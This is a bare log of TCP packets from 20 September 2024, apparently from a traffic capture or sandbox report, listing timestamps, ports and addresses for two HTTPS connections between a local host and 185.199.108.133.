Sep 20, 2024 12:14:47.821842909 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.821851015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.821877003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.821901083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.821909904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.821960926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.821974993 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.822179079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.822222948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.822263956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.822272062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.822302103 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.822350025 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.852957010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.852986097 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853079081 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853085995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853144884 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853184938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853184938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853188992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853209972 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853221893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853252888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853291988 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853725910 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853749990 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853805065 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853852987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.853980064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853980064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853981018 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.853981018 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.854048967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.854091883 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.854115009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.854166031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.854187012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.854223013 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.859679937 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.859709024 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.859873056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.859874010 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.859937906 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.859971046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.859994888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.860065937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.860065937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.860100031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.860349894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.860373020 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.860423088 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.860435963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.860480070 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.901549101 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.901601076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.901655912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.901671886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.901753902 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.901796103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.901853085 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.901853085 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.901853085 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.901865005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.901879072 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.902143002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902189016 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902220011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.902241945 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902287960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.902407885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902447939 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902482986 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.902491093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902517080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.902718067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902760029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902796030 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.902805090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.902836084 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.902978897 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.903023958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.903059006 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.903068066 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.903095007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.908608913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.908653021 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.908691883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.908700943 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.908747911 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.908871889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.908948898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.908987045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.908994913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.909027100 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.909472942 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.909531116 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.909579039 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.909586906 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.909622908 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.909816980 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.940325975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.940361023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.940677881 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.940740108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.940774918 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.940800905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.940866947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.940885067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.940917969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.940954924 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941071033 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941095114 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941164970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941175938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941240072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941299915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941337109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941381931 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941394091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941420078 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941452980 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941586018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941606998 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941667080 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941679001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.941708088 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.941730022 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.946358919 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.946387053 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.946691036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.946819067 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.946825027 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.946882963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.946993113 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.946993113 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.947109938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.947128057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.947180986 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.947206974 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.947237015 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.956779003 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.987894058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.988549948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.988636971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.988673925 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.988694906 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.988749027 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.988751888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.988781929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.988790035 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.988821983 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.988837004 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.988888025 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.988895893 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.988945007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.989552975 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.989604950 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.989640951 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.989648104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.989681959 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.989705086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.989940882 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.989981890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.990022898 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.990030050 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.990068913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.990097046 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.990135908 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.990181923 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.990216970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.990222931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.990256071 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.990307093 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.996167898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.996216059 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.996367931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.996387005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.996414900 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.996474028 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.996488094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.996731043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.996769905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.996807098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:47.996820927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:47.996855974 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.027534008 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.027580976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.027904034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.027904034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.027967930 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028034925 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028058052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028067112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028089046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028136969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028148890 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028171062 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028172970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028184891 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028235912 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028270006 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028270006 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028283119 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028304100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028340101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028357029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028388023 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028418064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028548002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028573036 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028637886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028649092 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.028709888 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.028753042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.033380985 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.033412933 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.033629894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.033638954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.033677101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.033732891 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.033819914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.033819914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.035116911 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.035135984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.035214901 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.035284996 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.035324097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.050566912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.075839996 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.075900078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076077938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076124907 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076128006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076159000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076296091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076296091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076334000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076379061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076509953 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076509953 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076525927 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076546907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076596022 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076618910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076632023 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076669931 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076754093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076795101 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076822996 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.076834917 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.076869965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.081499100 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.082953930 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083025932 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083231926 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083276987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083287954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.083287954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.083323002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083427906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.083427906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.083427906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.083452940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083493948 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083534002 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.083544970 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.083576918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.083617926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.114398956 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.114428043 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.114694118 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.114758968 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.114821911 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.114928007 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.114928007 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.115123987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115154028 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115372896 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.115463972 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115530014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115554094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115602016 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.115619898 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115653992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.115775108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115823984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115850925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.115866899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.115905046 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.120364904 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.120389938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.120490074 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.120552063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.120733976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.120752096 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.120961905 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.120980024 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.121093035 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.121110916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.121165991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.121180058 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.121215105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.162769079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.162836075 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.162961006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163172007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163172007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163172007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163207054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163296938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163336992 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163444042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163444042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163444042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163458109 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163475037 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163506031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163665056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163666964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163666964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163678885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163702965 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163729906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.163737059 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.163785934 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.169497013 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.169517994 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.169809103 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.169811964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.169836044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:48.169888973 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:48.169930935 CEST	58639	443	192.168.2.4	185.199.108.133
